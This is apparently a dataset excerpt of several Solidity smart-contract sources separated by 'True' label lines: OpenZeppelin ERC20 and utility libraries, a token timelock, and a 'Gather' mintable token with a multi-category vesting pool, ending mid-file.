`amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token, address beneficiary, uint256 releaseTime) public { // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time"); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } } contract HolderTimelock is TokenTimelock { constructor( IERC20 _token, address _beneficiary, uint256 _releaseTime ) public TokenTimelock(_token, _beneficiary, _releaseTime) //solhint-disable-next-line {} }

True

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// File: contracts/SafeMath.sol pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/Ownable.sol pragma solidity ^0.4.26; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Gather_coin.sol pragma solidity ^0.4.26; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event Mintai(address indexed owner, address indexed msgSender, uint256 msgSenderBalance, uint256 amount); event MintFinished(); bool public mintingFinished = false; mapping(address=>uint256) mintPermissions; uint256 public maxMintLimit; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(checkMintPermission(msg.sender)); _; } function checkMintPermission(address _minter) private view returns (bool) { if (_minter == owner) { return true; } return mintPermissions[_minter] > 0; } function setMinter(address _minter, uint256 _amount) public onlyOwner { require(_minter != owner); mintPermissions[_minter] = _amount; } /** * @dev Function to mint tokens. Delegates minting to internal function * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { return mintInternal(_to, _amount); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintInternal(address _to, uint256 _amount) internal returns (bool) { if (msg.sender != owner) { mintPermissions[msg.sender] = mintPermissions[msg.sender].sub(_amount); } totalSupply_ = totalSupply_.add(_amount); require(totalSupply_ <= maxMintLimit); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function mintAllowed(address _minter) public view returns (uint256) { return mintPermissions[_minter]; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract GatherToken is MintableToken { string public constant name = "Gather"; string public constant symbol = "GTH"; uint32 public constant decimals = 18; bool public transferPaused = true; constructor() public { maxMintLimit = 400000000 * (10 ** uint(decimals)); } function unpauseTransfer() public onlyOwner { transferPaused = false; } function pauseTransfer() public onlyOwner { transferPaused = true; } // The modifier checks, if address can send tokens or not at current contract state. modifier tranferable() { require(!transferPaused, "Gath3r: Token transfer is pauses"); _; } function transferFrom(address _from, address _to, uint256 _value) public tranferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public tranferable returns (bool) { return super.transfer(_to, _value); } } // File: contracts/VestingPool.sol pragma solidity ^0.4.26; contract VestingPool is Ownable { using SafeMath for uint256; // The token being vested GatherToken public token; // Category name identifiers bytes32 public privateCategory = keccak256("privateCategory"); bytes32 public platformCategory = keccak256("platformCategory"); bytes32 public seedCategory = keccak256("seedCategory"); bytes32 public foundationCategory = keccak256("foundationCategory"); bytes32 public marketingCategory = keccak256("marketingCategory"); bytes32 public teamCategory = keccak256("teamCategory"); bytes32 public advisorCategory = keccak256("advisorCategory"); bool public isVestingStarted; uint256 public vestingStartDate; struct vestingInfo { uint256 limit; uint256 released; uint256[] scheme; mapping(address => bool) adminEmergencyFirstApprove; mapping(address => bool) adminEmergencySecondApprove; bool multiownedEmergencyFirstApprove; bool multiownedEmergencySecondApprove; uint256 initEmergencyDate; } mapping(bytes32 => vestingInfo) public vesting; uint32 private constant SECONDS_PER_DAY = 24 * 60 * 60; uint32 private constant SECONDS_PER_MONTH = SECONDS_PER_DAY * 30; address public admin1address; address public admin2address; event Withdraw(address _to, uint256 _amount); constructor(address _token) public { require(_token != address(0), "Gath3r: Token address must be set for vesting"); token = GatherToken(_token); // Setup vesting data for each category _initVestingData(); } modifier isNotStarted() { require(!isVestingStarted, "Gath3r: Vesting is already started"); _; } modifier isStarted() { require(isVestingStarted, "Gath3r: Vesting is not started yet"); _; } modifier approvedByAdmins(bytes32 _category) { require(vesting[_category].adminEmergencyFirstApprove[admin1address], "Gath3r: Emergency transfer must be approved by Admin 1"); require(vesting[_category].adminEmergencyFirstApprove[admin2address], "Gath3r: Emergency transfer must be approved by Admin 2"); require(vesting[_category].adminEmergencySecondApprove[admin1address], "Gath3r: Emergency transfer must be approved twice by Admin 1"); require(vesting[_category].adminEmergencySecondApprove[admin2address], "Gath3r: Emergency transfer must be approved twice by Admin 2"); _; } modifier approvedByMultiowned(bytes32 _category) { require(vesting[_category].multiownedEmergencyFirstApprove, "Gath3r: Emergency transfer must be approved by Multiowned"); require(vesting[_category].multiownedEmergencySecondApprove, "Gath3r: Emergency transfer must be approved twice by Multiowned"); _; } function startVesting() public onlyOwner isNotStarted { vestingStartDate = now; isVestingStarted = true; } // Two Admins for emergency transfer function addAdmin1address(address _admin) public onlyOwner { require(_admin != address(0), "Gath3r: Admin 1 address must be exist for emergency transfer"); _resetAllAdminApprovals(_admin); admin1address = _admin; } function addAdmin2address(address _admin) public onlyOwner { require(_admin != address(0), "Gath3r: Admin 2 address must be exist for emergency transfer"); _resetAllAdminApprovals(_admin); admin2address = _admin; } function multipleWithdraw(address[] _addresses, uint256[] _amounts, bytes32 _category) public onlyOwner isStarted { require(_addresses.length == _amounts.length, "Gath3r: Amount of adddresses must be equal withdrawal amounts length"); uint256 withdrawalAmount; uint256 availableAmount = getAvailableAmountFor(_category); for(uint i = 0; i < _amounts.length; i++) { withdrawalAmount = withdrawalAmount.add(_amounts[i]); } require(withdrawalAmount <= availableAmount, "Gath3r: Withdraw amount more than available limit"); for(i = 0; i < _addresses.length; i++) { _withdraw(_addresses[i], _amounts[i], _category); } } function getAvailableAmountFor(bytes32 _category) public view returns (uint256) { uint256 currentMonth = now.sub(vestingStartDate).div(SECONDS_PER_MONTH); uint256 totalUnlockedAmount; for(uint8 i = 0; i <= currentMonth; i++ ) { totalUnlockedAmount = totalUnlockedAmount.add(vesting[_category].scheme[i]); } return totalUnlockedAmount.sub(vesting[_category].released); } function firstAdminEmergencyApproveFor(bytes32 _category, address _admin) public onlyOwner { require(_admin == admin1address || _admin == admin2address, "Gath3r: Approve for emergency address must be from admin address"); require(!vesting[_category].adminEmergencyFirstApprove[_admin]); if (vesting[_category].initEmergencyDate == 0) { vesting[_category].initEmergencyDate = now; } vesting[_category].adminEmergencyFirstApprove[_admin] = true; } function secondAdminEmergencyApproveFor(bytes32 _category, address _admin) public onlyOwner { require(_admin == admin1address || _admin == admin2address, "Gath3r: Approve for emergency address must be from admin address"); require(vesting[_category].adminEmergencyFirstApprove[_admin]); require(now.sub(vesting[_category].initEmergencyDate) > SECONDS_PER_DAY); vesting[_category].adminEmergencySecondApprove[_admin] = true; } function firstMultiownedEmergencyApproveFor(bytes32 _category) public onlyOwner { require(!vesting[_category].multiownedEmergencyFirstApprove); if (vesting[_category].initEmergencyDate == 0) { vesting[_category].initEmergencyDate = now; } vesting[_category].multiownedEmergencyFirstApprove = true; } function secondMultiownedEmergencyApproveFor(bytes32 _category) public onlyOwner { require(vesting[_category].multiownedEmergencyFirstApprove, "Gath3r: Second multiowned approval must be after fisrt multiowned approval"); require(now.sub(vesting[_category].initEmergencyDate) > SECONDS_PER_DAY); vesting[_category].multiownedEmergencySecondApprove = true; } function emergencyTransferFor(bytes32 _category, address _to) public onlyOwner approvedByAdmins(_category) approvedByMultiowned(_category) { require(_to != address(0), "Gath3r: Address must be transmit for emergency transfer"); uint256 limit = vesting[_category].limit; uint256 released = vesting[_category].released; uint256 availableAmount = limit.sub(released); _withdraw(_to, availableAmount, _category); } function _withdraw(address _beneficiary, uint256 _amount, bytes32 _category) internal { token.transfer(_beneficiary, _amount); vesting[_category].released = vesting[_category].released.add(_amount); emit Withdraw(_beneficiary, _amount); } function _resetAllAdminApprovals(address _admin) internal { vesting[seedCategory].adminEmergencyFirstApprove[_admin] = false; vesting[seedCategory].adminEmergencySecondApprove[_admin] = false; vesting[foundationCategory].adminEmergencyFirstApprove[_admin] = false; vesting[foundationCategory].adminEmergencySecondApprove[_admin] = false; vesting[marketingCategory].adminEmergencyFirstApprove[_admin] = false; vesting[marketingCategory].adminEmergencySecondApprove[_admin] = false; vesting[teamCategory].adminEmergencyFirstApprove[_admin] = false; vesting[teamCategory].adminEmergencySecondApprove[_admin] = false; vesting[advisorCategory].adminEmergencyFirstApprove[_admin] = false; vesting[advisorCategory].adminEmergencySecondApprove[_admin] = false; } function _amountWithPrecision(uint256 _amount) internal view returns (uint256) { return _amount.mul(10 ** uint(token.decimals())); } // Vesting data for public sale category function _initVestingData() internal { // Vesting data for private sale category vesting[privateCategory].limit = _expandToDecimals(20000000); vesting[privateCategory].scheme = [ /* initial amount */ 10500000, /* M+1 M+2 */ 10500000, 9000000 ]; // Vesting data for platform category vesting[platformCategory].limit = _expandToDecimals(30000000); vesting[platformCategory].scheme = [ /* initial amount */ 30000000 ]; // Vesting data for seed category vesting[seedCategory].limit = _expandToDecimals(22522500); vesting[seedCategory].scheme = [ /* initial amount */ 5630625, /* M+1 M+2 M+3 M+4 M+5 */ 3378375, 3378375, 3378375, 3378375, 3378375 ]; // Vesting data for foundation category vesting[foundationCategory].limit = _expandToDecimals(193477500); vesting[foundationCategory].scheme = [ /* initial amount */ 0, /* M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 */ 0, 0, 0, 0, 0, 6000000, 6000000, 6000000, 6000000, 6000000, 6000000, 6000000, /* Y+2 */ 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, /* Y+3 */ 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, /* Y+4 */ 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, /* Y+5 */ 19477500 ]; // Vesting data for marketing category vesting[marketingCategory].limit = _expandToDecimals(50000000); vesting[marketingCategory].scheme = [ /* initial amount */ 0, /* M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 */ 0, 0, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, /* Y+2 */ 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, /* Y+3 */ 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000 ]; // Vesting data for team category vesting[teamCategory].limit = _expandToDecimals(50000000); vesting[teamCategory].scheme = [ /* initial amount */ 0, /* M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 */ 0, 0, 0, 0, 0, 7000000, 0, 0, 0, 7000000, 0, 0, /* Y+2 */ 0, 7000000, 0, 0, 0, 7000000, 0, 0, 7000000, 0, 0, 0, /* Y+3 */ 0, 7500000, 0, 0, 0, 7500000 ]; // Vesting data for advisor category vesting[advisorCategory].limit = _expandToDecimals(24000000); vesting[advisorCategory].scheme = [ /* initial amount */ 0, /* M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 */ 0, 0, 6000000, 6000000, 4500000, 4500000, 0, 1500000, 1500000 ]; _expandToDecimalsVestingScheme(privateCategory); _expandToDecimalsVestingScheme(platformCategory); _expandToDecimalsVestingScheme(seedCategory); _expandToDecimalsVestingScheme(foundationCategory); _expandToDecimalsVestingScheme(marketingCategory); _expandToDecimalsVestingScheme(teamCategory); _expandToDecimalsVestingScheme(advisorCategory); } function _expandToDecimalsVestingScheme(bytes32 _category) internal returns (uint256[]) { for(uint i = 0; i < vesting[_category].scheme.length; i++) { vesting[_category].scheme[i] = _expandToDecimals(vesting[_category].scheme[i]); } } function _expandToDecimals(uint256 _amount) internal view returns (uint256) { return _amount.mul(10 ** uint(18)); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 